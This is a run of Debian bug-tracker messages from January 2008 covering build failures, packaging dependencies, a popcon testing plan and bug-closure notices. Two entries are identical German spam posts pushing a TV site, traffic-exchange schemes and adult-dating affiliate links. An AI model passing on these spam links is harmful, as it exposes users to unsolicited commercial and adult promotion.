(This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Mon, 21 Jan 2008 19:01:19 +0100 Source: adun.app Binary: adun.app Architecture: source i386 Version: 0.8.2-1 Distribution: unstable Urgency: low Maintainer: Debian-Med Packaging Team [EMAIL PROTECTED] Changed-By: Andreas Tille [EMAIL PROTECTED] Description: adun.app - Molecular Simulator for GNUstep Closes: 416859 450469 454459 457723 Changes: adun.app (0.8.2-1) unstable; urgency=low . * QA upload. . [ Gürkan Sengün ] * New upstream version. * GNUstep transition. + Updated debian/rules. * Added a desktop file. * Applied patch to fix FTBFS with GCC 4.3, thanks to Martin Michlmayr. (Closes: #416859) . [ Yavor Doganov ] * debian/control (Maintainer): Package is orphaned, set to the Debian QA Group. (Standards-Version): Claim compliance with 3.7.3; no changes needed. (Build-Depends): Add dpatch; list all build-deps one per line. Bump debhelper to = 6. (Recommends): Add gnuplot. * debian/compat: Set to level 6. * debian/dirs: Delete. * debian/rules: Include /usr/share/dpatch/dpatch.make and adjust all rules to use it. Do not source GNUstep.sh (Closes: #450469). (LDFLAGS, d_app): Define. (OPTFLAG): New conditionally defined variable (support for `noopt'). (build-stamp): Prepend MAKELEVEL=0 before make so that conditionals in some of the makefiles relying on this internal variable actually work. (install): Install the private libraries in /usr/lib/adun.app. Remove the executable bit of some files and delete the empty directories. (binary-arch): Invoke dh_link to make all symlinks policy-compliant. Run `gsdh_gnustep' and move conditionally the Resources to /usr/share. * debian/lintian-override: Delete. * debian/UL.desktop: Add Comment field. * debian/menu (section): Prepend `Biology'. (longtitle): Add. * debian/README.Debian: Add; instructions how to build and install the plugins and the
Bug#462268: [Popcon-developers] Bug#462268: popcon: stay out of lenny for a while
On Wed, Jan 23, 2008 at 03:49:39PM +0100, Bill Allombert wrote: I would like to keep popularity-contest out of testing for 1) See how many people use sid versus testing 2) give us a chance to address the DOS issue in a better way. Removing the package from testing doesn't mean that the package is automatically removed from testing systems. I have a few packages installed in my lenny that have been removed from lenny: they show up as 'obsolete or locally installed', but they are still installed and properly working. Or did I misunderstand what you were up to? Ciao, Enrico -- GPG key: 1024D/797EBFAB 2000-12-05 Enrico Zini [EMAIL PROTECTED] signature.asc Description: Digital signature
Bug#462268: [Popcon-developers] Bug#462268: Bug#462268: popcon: stay out of lenny for a while
On Wed, Jan 23, 2008 at 04:23:22PM +0100, Enrico Zini wrote: On Wed, Jan 23, 2008 at 03:49:39PM +0100, Bill Allombert wrote: I would like to keep popularity-contest out of testing for 1) See how many people use sid versus testing 2) give us a chance to address the DOS issue in a better way. Removing the package from testing doesn't mean that the package is automatically removed from testing systems. It won't be removed from testing. Instead the new version will not propagate to testing and testing will stay with 1.42 and sid will have 1.43 so it will be easy to discriminate systems running testing from system running sid, for statistical purpose. Cheers, -- Bill. [EMAIL PROTECTED] Imagine a large red swirl here. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462226: coreutils: FTBFS on mips: tests failed: rm/deep-1, rm/dangling-symlink, ...
On Wed, Jan 23, 2008 at 01:15:29PM +0100, you wrote:
On 23/01/08 at 11:06 +0100, Lucas Nussbaum wrote:
Package: coreutils
Version: 6.10-1
Severity: serious
Hi,
coreutils 6.10-1 failed to build on mips:
Making check in rm
make[3]: Entering directory
`/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm'
/usr/bin/make check-TESTS
make[4]: Entering directory
`/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm'
make[5]: Entering directory
`/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm'
FAIL: deep-1.log
This makes me think we've got a cross compiler or somesuch that can't run the
executables we just built. (This is the very first test, and would fail if the
generated mktemp wouldn't execute, for example.) Although configure didn't
think it was cross compiling. Can we get an actual fail log from the buildd?
I can't reproduce that failure on casals.d.o. However, the build on
casals fails later:
Making check in touch
make[3]: Entering directory
`/home/lucas/cuu/coreutils-6.10/build-tree/coreutils-6.10/tests/touch'
/usr/bin/make check-TESTS
make[4]: Entering directory
`/home/lucas/cuu/coreutils-6.10/build-tree/coreutils-6.10/tests/touch'
make[5]: Entering directory
`/home/lucas/cuu/coreutils-6.10/build-tree/coreutils-6.10/tests/touch'
SKIP: now-owned-by-other.log
PASS: read-only.log
PASS: relative.log
PASS: not-owner.log
FAIL: no-create-missing.log
This seems to be actual brokenness on the system. Cf.:
sh-3.1$ ./touch -c - -
./touch: setting times of `-': Unknown error 4294967207
Kinda looks like the errno.h doesn't match the system or somesuch.
Even weirder:
sh-3.1$ strace ./touch -c - -
execve(./touch, [./touch, -c, -], [/* 20 vars */]) = 0
svr4_syscall() = -1 ERRNO_4045 (Unknown error 4045)
uname({sys=Linux, node=casals, ...}) = 0
access(/etc/ld.so.nohwcap, F_OK) = -1 ENOENT (No such file or directory)
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x2aac8000
access(/etc/ld.so.preload, R_OK) = -1 ENOENT (No such file or directory)
open(/etc/ld.so.cache, O_RDONLY) = 1
fstat64(1, {st_mode=S_IFREG|0644, st_size=52018, ...}) = 0
old_mmap(NULL, 52018, PROT_READ, MAP_PRIVATE, 1, 0) = 0x2aadc000
close(1)= 0
access(/etc/ld.so.nohwcap, F_OK) = -1 ENOENT (No such file or directory)
open(/lib/librt.so.1, O_RDONLY) = 1
read(1, \177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\10\0\0\0\1\0\0\30..., 512) = 512
lseek(1, 676, SEEK_SET) = 676
read(1, \0\0\0\4\0\0\0\20\0\0\0\1GNU\0\0\0\0\0\0\0\0\2\0\0\0\6..., 32) = 32
fstat64(1, {st_mode=S_IFREG|0644, st_size=37288, ...}) = 0
old_mmap(NULL, 98960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 1, 0) =
0x2aaec000
mprotect(0x2aaf4000, 61440, PROT_NONE) = 0
old_mmap(0x2ab03000, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 1, 0x7000) = 0x2ab03000
close(1)= 0
access(/etc/ld.so.nohwcap, F_OK) = -1 ENOENT (No such file or directory)
open(/lib/libc.so.6, O_RDONLY)= 1
read(1, \177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\10\0\0\0\1\0\1j4..., 512) = 512
lseek(1, 692, SEEK_SET) = 692
read(1, \0\0\0\4\0\0\0\20\0\0\0\1GNU\0\0\0\0\0\0\0\0\2\0\0\0\6..., 32) = 32
fstat64(1, {st_mode=S_IFREG|0755, st_size=1541096, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x2aac9000
old_mmap(NULL, 1522800, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 1, 0) =
0x2ab08000
mprotect(0x2ac6, 61440, PROT_NONE) = 0
old_mmap(0x2ac6f000, 40960, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 1, 0x157000) = 0x2ac6f000
old_mmap(0x2ac79000, 11376, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2ac79000
close(1)= 0
access(/etc/ld.so.nohwcap, F_OK) = -1 ENOENT (No such file or directory)
open(/lib/libpthread.so.0, O_RDONLY) = 1
read(1, \177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\10\0\0\0\1\0\0J@..., 512) = 512
lseek(1, 676, SEEK_SET) = 676
read(1, \0\0\0\4\0\0\0\20\0\0\0\1GNU\0\0\0\0\0\0\0\0\2\0\0\0\6..., 32) = 32
fstat64(1, {st_mode=S_IFREG|0755, st_size=130407, ...}) = 0
old_mmap(NULL, 169040, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 1, 0) =
0x2ac7c000
mprotect(0x2ac93000, 61440, PROT_NONE) = 0
old_mmap(0x2aca2000, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 1, 0x16000) = 0x2aca2000
old_mmap(0x2aca4000, 5200, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2aca4000
close(1)= 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x2aaca000
SYS_4283() = -1985707984
mprotect(0x2aca2000, 4096, PROT_READ) = 0
mprotect(0x2ac6f000, 20480, PROT_READ) = 0
munmap(0x2aadc000, 52018) = 0
set_tid_address(0x2aac9ac8) = 6543
syscall_4294967207(0x2aac9ad0, 0xc,
Bug#462268: [Popcon-developers] Bug#462268: Bug#462268: popcon: stay out of lenny for a while
On Wed, Jan 23, 2008 at 04:44:59PM +0100, Bill Allombert wrote: It won't be removed from testing. Instead the new version will not propagate to testing and testing will stay with 1.42 and sid will have 1.43 so it will be easy to discriminate systems running testing from system running sid, for statistical purpose. You're right indeed, sorry about the noise. Ciao, Enrico -- GPG key: 1024D/797EBFAB 2000-12-05 Enrico Zini [EMAIL PROTECTED] signature.asc Description: Digital signature
Bug#462249: libaudio-flac-header-perl: FTBFS on armel, hppa, m68k, powerpc, s390, sparc
On Wed, Jan 23, 2008 at 03:07:48PM +0200, Riku Voipio wrote: Package: libaudio-flac-header-perl Version: 1.9-1 Severity: serious Justification: no longer builds from source Since the architectures where testsuite fails have little in common, it could be that this bug is a bug in the testsuite rather than testsuite exposing bugs in libaudio-flac-header-perl code. No, it seems to be a real bug. I could reproduce this on hppa (paer.d.o), and the failing test is due to differing cuesheet information: hppa gives REM FLAC__lead-in 1604068 REM FLAC__lead-out 170 153200460 where it's supposed to be REM FLAC__lead-in 88200 REM FLAC__lead-out 170 153200460 The output of 'metaflac --export-cuesheet-to=- ./data/test.flac' gives the correct number on hppa, so this doesn't seem to be a generic libflac problem. I'll try to hunt it down later today. Cheers, -- Niko Tyni [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#424957: ich nochmal
Hallo nochmal also der neue online TV Sender ist auf http://www.doenertreff.de echt super .. mario barth michael mittermeier.. usw und hammer musik die single seite wo ich gesagt habe ist auf http://adultfriendfinder.com/go/g869222-pmo oder auf http://adultfriendfinder.com/go/p409433 einfach mal anmelden ach ja funny Bilder gibt es auf http://www.doenertreff.de/doenertreff/Babys.htm oderhttp://www.doenertreff.de/doenertreff/Tiere.htm oder optische täuschungen http://www.doenertreff.de/doenertreff/Tauschungen.htm einfach mal anschauen. gruß PS: grüß alle von mir, ach ja und werbebanner für deine Homepage, mit denen du Geld Verdienen kannst, und die auch wirklich ausbezahlen, oder wenn Du über 1000 Besucher in der Stunde willst!! das alles findest du auf http://www.doenertreff.de/besuchertausch echt gut!
Bug#459603: ich nochmal
Hallo nochmal also der neue online TV Sender ist auf http://www.doenertreff.de echt super .. mario barth michael mittermeier.. usw und hammer musik die single seite wo ich gesagt habe ist auf http://adultfriendfinder.com/go/g869222-pmo oder auf http://adultfriendfinder.com/go/p409433 einfach mal anmelden ach ja funny Bilder gibt es auf http://www.doenertreff.de/doenertreff/Babys.htm oderhttp://www.doenertreff.de/doenertreff/Tiere.htm oder optische täuschungen http://www.doenertreff.de/doenertreff/Tauschungen.htm einfach mal anschauen. gruß PS: grüß alle von mir, ach ja und werbebanner für deine Homepage, mit denen du Geld Verdienen kannst, und die auch wirklich ausbezahlen, oder wenn Du über 1000 Besucher in der Stunde willst!! das alles findest du auf http://www.doenertreff.de/besuchertausch echt gut!
Bug#461383: pgbouncer: must not hardcode libc6 dependency
Em Fri, 18 Jan 2008 09:57:57 +0100 Philipp Kern [EMAIL PROTECTED] escreveu: Hi Philipp, You do not use shlibs, which results in uninstallability on alpha and ia64, because libc6 is named differently there. You might not use yada for your package, but fix your package to use debhelper and its shlibs substitution correctly. Are you test new package with debhelper and variable shlibs in control file? I can't as to test on alpha and ia64. - http://www.midstorm.org/~fike/debian/pgbouncer_1.1.2-2.dsc - http://www.midstorm.org/~fike/debian/pgbouncer_1.1.2-2_amd64.changes - http://www.midstorm.org/~fike/debian/pgbouncer_1.1.2.orig.tar.gz - http://www.midstorm.org/~fike/debian/pgbouncer_1.1.2-2.diff.gz PS: Please get the description through a review and remove senseless crap like `This package genereted (sic) without yada.' from README.Debian. Ok, removed this item from README.Debian Best regards, -- Fernando Ike http://www.midstorm.org/~fike/weblog -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#434033: sear: FTBFS: missing #include in ModelHandler.h
On Sat, Jul 21, 2007 at 05:33:10PM +0200, Michael Koch wrote:
On Sat, Jul 21, 2007 at 04:09:02PM +0200, Cyril Brulebois wrote:
Michael Koch [EMAIL PROTECTED] (21/07/2007):
Severity: serious
Tags: patch
A related note: when trying to build it in a clean sid chroot, I noticed
that the B-D on libcal3d11-dev can't be fulfilled, and you need to now
B-D on libcal3d12-dev.
Then, configure{,.ac} want liberis to be ==1.3.10, whereas it is now
1.3.12. Turning the check on ==1.3.12 gave me a successful build, but I
guess it would be sufficient to require =1.3.10.
Note that after this patch, sear still fails to build. There are
still unresolved problems linking with the new debian cal3d and
guichan libraries. There may be other problems as well. If you wish
to fix this package, I recommend beginning from the latest upstream.
Yes, it then fails with the errors listed in the first attached file.
I cant reproduce this.
I can, using g++-4.1, in a clean sid chroot (debootstrap...). All
package versions are listed in the second attached file.
Thats all solved in the upcoming sear 0.6.3-1 package. The only issue I
have currently is that guichan is too new in the archive. I'm currently
waiting for a patch from sear upstream to make sear 0.6.3 work with
guichan 0.6.1.
Any news about that?
--
.''`. Aurelien Jarno | GPG: 1024D/F1BCDB73
: :' : Debian developer | Electrical Engineer
`. `' [EMAIL PROTECTED] | [EMAIL PROTECTED]
`-people.debian.org/~aurel32 | www.aurel32.net
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462021: dependencies for autoconf
In bug #262021, Norman Ramsey reported that the autoreconf script provided by the autoconf package runs automake. Since at the time autoconf merely recommended automaken, instead of depending on it, this could fail. To fix the bug, I changed the recommendation to a dependency. In response, Ralf Wildenhues [EMAIL PROTECTED] pointed out: Are you going to depend on (some version of) libtool and gettext, too? autoreconf may invoke libtoolize and autopoint as well. FWIW, I don't think this is the right way to go. If autoreconf invokes aclocal or automake, that means the package being autoreconf'ed depends on automake, not autoconf. I am torn between the two possibilities. On one hand, Debian policy is clear that packages should have full dependencies on all the programs that they may invoke. On the other hand, Ralf has a reasonable argument that it is the package being autoreconf'd that has the dependency, not autoconf itself. Many packages that use autoconf do not use libtool or gettext. Another issue is that there are multiple versions of automake in the archive. The dependency that I added to autoconf allows any one of them to satisfy the dependency, but of course this is no guarantee that this is the correct version for the package being autoreconf'd. I would appreciate some guidance on this issue from debian-devel. -- Ben Pfaff http://benpfaff.org -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#439404: marked as done (postman: purge does leaves traces behind)
Your message dated Wed, 23 Jan 2008 17:02:03 + with message-id [EMAIL PROTECTED] and subject line Bug#439404: fixed in postman 2.1-3 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: postman Version: 2.1-2 Severity: serious purge of the package: 1) Does not remove the postman users 2) Leaves dpkg statoverride entries behind: postman www-data 750 /var/lib/postman/calendar postman www-data 750 /var/lib/postman/databases -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.18-4-amd64 (SMP w/2 CPU cores) Locale: LANG=fr_LU.UTF-8, LC_CTYPE=fr_LU.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash ---End Message--- ---BeginMessage--- Source: postman Source-Version: 2.1-3 We believe that the bug you reported is fixed in the latest version of postman, which is due to be installed in the Debian FTP archive: postman_2.1-3.diff.gz to pool/main/p/postman/postman_2.1-3.diff.gz postman_2.1-3.dsc to pool/main/p/postman/postman_2.1-3.dsc postman_2.1-3_amd64.deb to pool/main/p/postman/postman_2.1-3_amd64.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Aurelien Jarno [EMAIL PROTECTED] (supplier of updated postman package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Wed, 23 Jan 2008 17:39:07 +0100 Source: postman Binary: postman Architecture: source amd64 Version: 2.1-3 Distribution: unstable Urgency: low Maintainer: Debian QA Group [EMAIL PROTECTED] Changed-By: Aurelien Jarno [EMAIL PROTECTED] Description: postman- High performance web based IMAP and NNTP client Closes: 408120 414135 439404 440672 Changes: postman (2.1-3) unstable; urgency=low . * Orphaning package, setting maintainer to the Debian QA Group. * Remove wrong cast to (unsigned char*) from 07_c-client_char_args.dpatch (Closes: #440672). * patches/10_kfreebsd_fix.dpatch: new patch to fix FTBFS on GNU/kFreeBSD (Closes: #414135). * Fix a typo in package description (Closes: #408120). * Remove user and statoverrides on purge (Closes: #439404). Files: b8fd85a1a47f51ecb024472327c85c5b 629 web optional postman_2.1-3.dsc fcefbcc00388a56fb48c41f2f2251bfa 14101 web optional postman_2.1-3.diff.gz 36b271c832f7a085ff6e2dda1f61824a 757972 web optional postman_2.1-3_amd64.deb -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHl29Iw3ao2vG823MRAqJpAJ43VgVqWDDw73Zn8ZEcYsyoB904HACdFk0Y gAO7AGQtc1lXkzjgJjEFJoA= =g0e2 -END PGP SIGNATURE- ---End Message---
Bug#440672: marked as done (postman - FTBFS: error: invalid conversion from 'char*' to 'unsigned char*')
Your message dated Wed, 23 Jan 2008 17:02:03 + with message-id [EMAIL PROTECTED] and subject line Bug#440672: fixed in postman 2.1-3 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: postman Version: 2.1-2+b1 Severity: serious There was an error while trying to autobuild your package: Automatic build of postman_2.1-2+b1 on debian-31.osdl.marist.edu by sbuild/s390 98 [...] NewsRC.cc: In function 'void Newsrc_lsub(MAILSTREAM*, char*)': NewsRC.cc:166: error: invalid conversion from 'char*' to 'unsigned char*' NewsRC.cc:166: error: initializing argument 1 of 'long int pmatch_full(unsigned char*, unsigned char*, unsigned char)' NewsRC.cc:166: error: invalid conversion from 'char*' to 'unsigned char*' NewsRC.cc:166: error: initializing argument 2 of 'long int pmatch_full(unsigned char*, unsigned char*, unsigned char)' NewsRC.cc:169: error: invalid conversion from 'char*' to 'unsigned char*' NewsRC.cc:169: error: initializing argument 1 of 'long int pmatch_full(unsigned char*, unsigned char*, unsigned char)' NewsRC.cc:169: error: invalid conversion from 'char*' to 'unsigned char*' NewsRC.cc:169: error: initializing argument 2 of 'long int pmatch_full(unsigned char*, unsigned char*, unsigned char)' make[1]: *** [NewsRC.o] Error 1 make[1]: Leaving directory `/build/buildd/postman-2.1' make: *** [build-stamp] Error 2 ** Build finished at 20070901-0454 FAILED [dpkg-buildpackage died] ---End Message--- ---BeginMessage--- Source: postman Source-Version: 2.1-3 We believe that the bug you reported is fixed in the latest version of postman, which is due to be installed in the Debian FTP archive: postman_2.1-3.diff.gz to pool/main/p/postman/postman_2.1-3.diff.gz postman_2.1-3.dsc to pool/main/p/postman/postman_2.1-3.dsc postman_2.1-3_amd64.deb to pool/main/p/postman/postman_2.1-3_amd64.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Aurelien Jarno [EMAIL PROTECTED] (supplier of updated postman package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Wed, 23 Jan 2008 17:39:07 +0100 Source: postman Binary: postman Architecture: source amd64 Version: 2.1-3 Distribution: unstable Urgency: low Maintainer: Debian QA Group [EMAIL PROTECTED] Changed-By: Aurelien Jarno [EMAIL PROTECTED] Description: postman- High performance web based IMAP and NNTP client Closes: 408120 414135 439404 440672 Changes: postman (2.1-3) unstable; urgency=low . * Orphaning package, setting maintainer to the Debian QA Group. * Remove wrong cast to (unsigned char*) from 07_c-client_char_args.dpatch (Closes: #440672). * patches/10_kfreebsd_fix.dpatch: new patch to fix FTBFS on GNU/kFreeBSD (Closes: #414135). * Fix a typo in package description (Closes: #408120). * Remove user and statoverrides on purge (Closes: #439404). Files: b8fd85a1a47f51ecb024472327c85c5b 629 web optional postman_2.1-3.dsc fcefbcc00388a56fb48c41f2f2251bfa 14101 web optional postman_2.1-3.diff.gz 36b271c832f7a085ff6e2dda1f61824a 757972 web optional postman_2.1-3_amd64.deb -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHl29Iw3ao2vG823MRAqJpAJ43VgVqWDDw73Zn8ZEcYsyoB904HACdFk0Y gAO7AGQtc1lXkzjgJjEFJoA= =g0e2 -END PGP SIGNATURE- ---End Message---
Bug#462021: dependencies for autoconf
On Wed, Jan 23, 2008 at 09:08:47 -0800, Ben Pfaff wrote: I am torn between the two possibilities. On one hand, Debian policy is clear that packages should have full dependencies on all the programs that they may invoke. I disagree with that. Quoting policy 7.2: The `Depends' field should be used if the depended-on package is required for the depending package to provide a significant amount of functionality. autoconf provides a significant amount of functionality without automake, so there's no reason this should be a Depends imo. Cheers, Julien -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#442280: gsoap: forwarded upstream
Package: gsoap Version: 2.7.9b-1.1 Followup-For: Bug #442280 Hi, I forwared this question on upstream tracker : https://sourceforge.net/tracker/?func=detailatid=468024aid=1868310group_id=52781 Quoting Robert van Engelen (engelen) : The wsdl2h tool is also available under GPL and I presume this is compatible with FSG. Note that wsdl2h and all other parts of gSOAP are covered under GPL. Sounds good to me, if there isn't additional obligations, is it ? The commercialization of the software is legally possible without forking or repackaging due to restricting the contributions to the gSOAP public license (not GPL). Now, some investigation are needed to make it clearer If it helps Regards -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.23-k7-amiloa (PREEMPT) Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1) Shell: /bin/sh linked to /bin/bash Versions of packages gsoap depends on: ii libc6 2.7-5 GNU C Library: Shared libraries ii libgcc1 1:4.2.2-4 GCC support library ii libstdc++64.2.2-4The GNU Standard C++ Library v3 gsoap recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462282: ezmlm-browse: should this package be orphaned or possibly removed?
Package: ezmlm-browse Version: 0.10-2 Severity: serious User: [EMAIL PROTECTED] Usertags: proposed-orphan Hi, While reviewing some packages, your package came up as a package that should maybe be orphaned by its maintainer, because: * Hasn't been uploaded since Feb. 2006 * Seriously out of date standards and policy * New upstream has been available since 2006 (0.10 is from 2004) * Low popcon score (11 installs) * Ships python modules but does not conform to new python policy (See BTS: #380790) If you think that it should be removed from Debian instead of being orphaned, please reply to this bug and tell so. If you agree that it should be orphaned, sending the following commands to [EMAIL PROTECTED] should do it (after replacing nn with this bug's number): severity nn normal reassign nn wnpp retitle nn O: packagename -- short package description thanks For more information, see http://www.debian.org/doc/developers-reference/ch-pkgs.en.html#s-archive-manip http://www.debian.org/devel/wnpp/ If you disagree and want to continue to maintain this package, please close this bug, preferably in an upload also fixing the other issues. Thank you, Barry deFreese -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#447961: marked as done (nut: fails to install in pbuilder)
Your message dated Wed, 23 Jan 2008 18:17:09 +
with message-id [EMAIL PROTECTED]
and subject line Bug#447961: fixed in nut 2.2.1-1
has caused the attached Bug report to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what I am
talking about this indicates a serious mail system misconfiguration
somewhere. Please contact me immediately.)
Debian bug tracking system administrator
(administrator, Debian Bugs database)
---BeginMessage---
Package: nut
Version: 2.2.0-1
Severity: normal
Hi,
The nut package fails to install in pbuilder with the following error message
from the udev init script: udev requires a mounted sysfs, not started. This
causes pbuilder to abort which is a pretty annoying thing. It can be worked
around by using hooks that mount sysfs (and proc) before installing any build
dependencies but this is rather a bad hack than a good solution because I
don't need any of that for building the package.
Cheers,
Sebastian
--
Sebastian tokkee Harl +++ GnuPG-ID: 0x8501C7FC +++ http://tokkee.org/
Those who would give up Essential Liberty to purchase a little Temporary
Safety, deserve neither Liberty nor Safety. -- Benjamin Franklin
signature.asc
Description: Digital signature
---End Message---
---BeginMessage---
Source: nut
Source-Version: 2.2.1-1
We believe that the bug you reported is fixed in the latest version of
nut, which is due to be installed in the Debian FTP archive:
nut-cgi_2.2.1-1_i386.deb
to pool/main/n/nut/nut-cgi_2.2.1-1_i386.deb
nut-dev_2.2.1-1_i386.deb
to pool/main/n/nut/nut-dev_2.2.1-1_i386.deb
nut-hal-drivers_2.2.1-1_i386.deb
to pool/main/n/nut/nut-hal-drivers_2.2.1-1_i386.deb
nut-snmp_2.2.1-1_i386.deb
to pool/main/n/nut/nut-snmp_2.2.1-1_i386.deb
nut_2.2.1-1.diff.gz
to pool/main/n/nut/nut_2.2.1-1.diff.gz
nut_2.2.1-1.dsc
to pool/main/n/nut/nut_2.2.1-1.dsc
nut_2.2.1-1_i386.deb
to pool/main/n/nut/nut_2.2.1-1_i386.deb
nut_2.2.1.orig.tar.gz
to pool/main/n/nut/nut_2.2.1.orig.tar.gz
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [EMAIL PROTECTED],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Arnaud Quette [EMAIL PROTECTED] (supplier of updated nut package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [EMAIL PROTECTED])
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Format: 1.7
Date: Wed, 23 Jan 2008 17:13:13 +0100
Source: nut
Binary: nut nut-cgi nut-snmp nut-dev nut-hal-drivers
Architecture: source i386
Version: 2.2.1-1
Distribution: unstable
Urgency: low
Maintainer: Arnaud Quette [EMAIL PROTECTED]
Changed-By: Arnaud Quette [EMAIL PROTECTED]
Description:
nut- The core system of the nut - Network UPS Tools
nut-cgi- A web interface sub system for the nut - Network UPS Tools
nut-dev- Development files for NUT - Network UPS Tools
nut-hal-drivers - HAL interface for NUT - Network UPS Tools
nut-snmp - A meta SNMP Driver subsystem for the nut - Network UPS Tools
Closes: 439986 442102 442331 445000 447720 447961 460732
Changes:
nut (2.2.1-1) unstable; urgency=low
.
* New upstream release (Closes: #439986)
* acknowledges NMUs (Closes: #447961, #445000)
* debian/watch: update the URL to point the 2.2 tree
* debian/rules:
- force --udev-dir to remove udev from Build-Depends while
keeping the feature (complete #447961 fix)
- limit the above fix to linux systems not to break build on
bsd and hurd these architectures (Closes: #460732)
- fix lintian debian-rules-ignores-make-clean-error and do some more
cleanup
- remove the empty directories /usr/{include,lib} from the nut package
* debian/nut.postinst: call invoke-rc.d instead of the udev init script
(Closes: #442331)
* debian/control:
- remove udev from Build-Depends
- update Standards-Version to 3.7.3
- remove Homepage from description and add it as a tag
- add libsnmp-dev as an alternate Build-Depends to libsnmp9-dev
* debian/po/nl.po: update the dutch po-debconf translation (Closes: #447720)
* debian/po/fr.po: update the french po-debconf translation (Closes: #442102)
* debian/patches/*: removed since these have been applied upstream
* debian/patches/00list: emptied but kept for future use
Files:
a385f82e872350b019ee16edfe281efd 907 admin optional nut_2.2.1-1.dsc
c7ae871961a7dbe12b22d504267dc132 1192538 admin optional nut_2.2.1.orig.tar.gz
ca6bcc9cf9e4178d4b27ca3f8539e914 35888 admin optional nut_2.2.1-1.diff.gz
98a1df3e2f5267dec577380bab76269b
Bug#461157: marked as done (gaphor: FTBFS in sbuild)
Your message dated Wed, 23 Jan 2008 19:32:52 +0100
with message-id [EMAIL PROTECTED]
and subject line debian/watch file updated in 0.5.1-1
has caused the attached Bug report to be marked as done.
This means that you claim that the problem has been dealt with.
